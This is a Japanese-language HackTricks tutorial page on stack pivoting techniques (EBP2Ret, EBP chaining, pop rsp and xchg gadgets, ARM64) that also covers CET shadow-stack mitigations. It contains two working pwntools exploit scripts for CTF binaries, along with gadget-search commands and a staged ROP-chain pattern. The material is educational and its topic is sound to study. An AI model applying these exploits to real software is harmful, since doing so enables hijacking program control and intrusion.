スタックピボッティング - EBP2Ret - EBPチェイニング
Reading time: 18 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
この技術は、**ベースポインタ(EBP/RBP)を操作する能力を利用して、フレームポインタとleave; ret
**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンするものです。
おさらいとして、x86/x86-64において**leave
**は次のように等価です:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
そして、保存された EBP/RBP がスタック内で 保存された EIP/RIP の前にあるため、スタックを制御することでそれを制御することが可能です。
注意
- 64ビットでは、EBP→RBP および ESP→RSP に置き換えます。意味は同じです。
- 一部のコンパイラはフレームポインタを省略します(「EBP が使用されない可能性があります」を参照)。その場合、
leave
が表示されない可能性があり、この技術は機能しません。
EBP2Ret
この技術は、保存された EBP/RBP を変更できるが、EIP/RIP を直接変更する方法がない場合に特に有用です。関数のエピローグの動作を利用します。
fvuln
の実行中に、シェルコード/ROP チェーンのアドレスがあるメモリ領域を指す 偽の EBP をスタックに注入することに成功すれば(amd64 では 8 バイト / x86 では 4 バイトの pop
を考慮)、RIP を間接的に制御できます。関数が戻ると、leave
が RSP を作成された位置に設定し、その後の pop rbp
が RSP を減少させ、攻撃者によってそこに保存されたアドレスを指すようになります。その後、ret
はそのアドレスを使用します。
2 つのアドレスを知る必要があることに注意してください: ESP/RSP が移動するアドレスと、そのアドレスに ret
が消費する値です。
攻撃構築
まず、任意のデータ/アドレスを書き込むことができるアドレスを知る必要があります。RSP はここを指し、最初の ret
を消費します。
次に、実行を転送するために ret
が使用するアドレスを選択する必要があります。次のように使用できます:
- 有効な ONE_GADGET アドレス。
- 適切な戻り値と引数に続く
system()
のアドレス(x86 の場合:ret
ターゲット =&system
、次に 4 バイトのジャンク、次に&"/bin/sh"
)。 - インラインシェルコードに続く
jmp esp;
ガジェット (ret2esp) のアドレス。 - 書き込み可能なメモリにステージされた ROP チェーン。
これらのアドレスの前には、leave
からの pop ebp/rbp
のためのスペースが必要です(amd64 では 8B、x86 では 4B)。これらのバイトを悪用して、2 番目の偽の EBP を設定し、最初の呼び出しが戻った後も制御を維持できます。
Off-By-One 攻撃
保存された EBP/RBP の最下位バイトのみを 変更できる 場合に使用されるバリアントがあります。この場合、ret
でジャンプするアドレスを格納するメモリ位置は、元の EBP/RBP と最初の 3 バイト/5 バイトを共有する必要があるため、1 バイトの上書きでリダイレクトできます。通常、低バイト(オフセット 0x00)は、近くのページ/整列された領域内でできるだけ遠くにジャンプするために増加します。
スタック内に RET スレッドを使用し、実際の ROP チェーンを最後に配置して、新しい RSP がスレッド内を指し、最終的な ROP チェーンが実行される可能性を高めることも一般的です。
EBP チェイニング
スタックの保存された EBP
スロットに制御されたアドレスを配置し、EIP/RIP
に leave; ret
ガジェットを配置することで、ESP/RSP
を攻撃者が制御するアドレスに移動させることが可能です。
これで RSP
が制御され、次の命令は ret
です。制御されたメモリに次のようなものを配置します:
&(次の偽の EBP)
->leave
からpop ebp/rbp
によって読み込まれます。&system()
->ret
によって呼び出されます。&(leave;ret)
->system
が終了した後、RSP を次の偽の EBP に移動させ、続行します。&("/bin/sh")
->system
の引数。
このようにして、プログラムのフローを制御するために複数の偽の EBP をチェーンすることが可能です。
これは ret2lib のようなものですが、より複雑で、エッジケースでのみ有用です。
さらに、ここに チャレンジの例 があり、この技術を使用して スタックリーク で勝利関数を呼び出します。これはページからの最終ペイロードです:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 アライメントのヒント: System V ABI は、呼び出しサイトで 16 バイトのスタックアライメントを要求します。
system
のような関数を呼び出すチェーンがある場合、アライメントを維持し、movaps
のクラッシュを避けるために、呼び出しの前にアライメントガジェット(例:ret
またはsub rsp, 8 ; ret
)を追加してください。
EBP は使用されない可能性がある
この投稿で説明されているように、バイナリがいくつかの最適化やフレームポインタの省略でコンパイルされている場合、EBP/RBP は ESP/RSP を制御しません。したがって、EBP/RBP を制御することによって機能するエクスプロイトは、プロローグ/エピローグがフレームポインタから復元しないため、失敗します。
- 最適化されていない / フレームポインタが使用されている:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 最適化された / フレームポインタが省略された:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
amd64では、leave ; ret
の代わりにpop rbp ; ret
がよく見られますが、フレームポインタが完全に省略されている場合、ピボットするためのrbp
ベースのエピローグは存在しません。
RSPを制御する他の方法
pop rsp
ガジェット
このページでは、この技術を使用した例を見つけることができます。そのチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、pop rsp
ガジェットがあり、スタックからのリークがあります:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2espテクニックについては、こちらを確認してください:
ピボットガジェットを迅速に見つける
お気に入りのガジェットファインダーを使用して、クラシックなピボットプリミティブを検索します:
leave ; ret
関数またはライブラリ内pop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(またはadd esp, <imm> ; ret
x86の場合)
例:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
クラシックピボットステージングパターン
多くのCTFやエクスプロイトで使用される堅牢なピボット戦略:
- 小さな初期オーバーフローを使用して、
read
/recv
を大きな書き込み可能領域(例:.bss
、ヒープ、またはマップされたRWメモリ)に呼び出し、そこに完全なROPチェーンを配置します。 - ピボットガジェット(
leave ; ret
、pop rsp
、xchg rax, rsp ; ret
)に戻り、RSPをその領域に移動させます。 - ステージされたチェーンを続行します(例:libcをリークし、
mprotect
を呼び出し、次にシェルコードをread
し、それにジャンプします)。
スタックピボットを破る現代の緩和策(CET/シャドウスタック)
現代のx86 CPUとOSはますます**CETシャドウスタック(SHSTK)**を展開しています。SHSTKが有効な場合、ret
は通常のスタック上の戻りアドレスとハードウェア保護されたシャドウスタックを比較します;不一致があると、制御保護フォルトが発生し、プロセスが終了します。したがって、EBP2Ret/leave;retベースのピボットのような技術は、ピボットされたスタックから最初のret
が実行されるとすぐにクラッシュします。
- 背景と詳細については、次を参照してください:
- Linuxでのクイックチェック:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
ラボ/CTFのノート:
-
一部の最新のディストリビューションは、ハードウェアとglibcのサポートがある場合、CET対応バイナリに対してSHSTKを有効にします。VMでの制御されたテストのために、SHSTKはカーネルブートパラメータ
nousershstk
を介してシステム全体で無効にすることができ、起動時にglibcの調整を介して選択的に有効にすることができます(参照を参照)。本番ターゲットでの緩和策を無効にしないでください。 -
JOP/COOPまたはSROPベースの技術は、一部のターゲットで依然として有効かもしれませんが、SHSTKは特に
ret
ベースのピボットを破壊します。 -
Windowsの注意: Windows 10以降はユーザーモードを公開し、Windows 11はカーネルモードの「ハードウェア強制スタック保護」を追加します。CET互換プロセスは、
ret
でのスタックピボティング/ROPを防ぎます。開発者はCETCOMPATおよび関連ポリシーを介してオプトインします(参照を参照)。
ARM64
ARM64では、関数のプロローグとエピローグはスタックにSPレジスタを保存および取得しません。さらに、**RET
命令はSPが指すアドレスに戻るのではなく、x30
**内のアドレスに戻ります。
したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きすることでSPレジスタを制御することはできません。そして、たとえSPを制御できたとしても、x30
レジスタを制御する方法がまだ必要です。
- プロローグ
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FPはフレームレコードを指します
- エピローグ
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64でスタックピボティングに似たことを行う方法は、SP
を制御すること(SP
に渡される値を持つレジスタを制御するか、何らかの理由でSP
がスタックからアドレスを取得しており、オーバーフローがある場合)であり、その後エピローグを悪用して、**制御されたSP
からx30
レジスタをロードし、RET
**をそれに戻すことです。
次のページでは、ARM64におけるRet2espの同等物を見ることができます:
参考文献
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンの悪用
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64ビット、relroなし、カナリア、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを許可します。最初にスタックリークを取得し、WWWを使用して戻ってpieリークを取得します。次に、WWWを使用して
.fini_array
エントリを悪用し、__libc_csu_fini
を呼び出して永続ループを作成します(詳細はこちら)。この「永続的」な書き込みを悪用して、.bssにROPチェーンが書き込まれ、RBPでピボティングして呼び出されます。 - Linuxカーネルドキュメント: 制御フロー強制技術(CET)シャドウスタック — SHSTK、
nousershstk
、/proc/$PID/status
フラグ、およびarch_prctl
を介しての有効化の詳細。 https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: カーネルモードハードウェア強制スタック保護(WindowsのCETシャドウスタック)。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。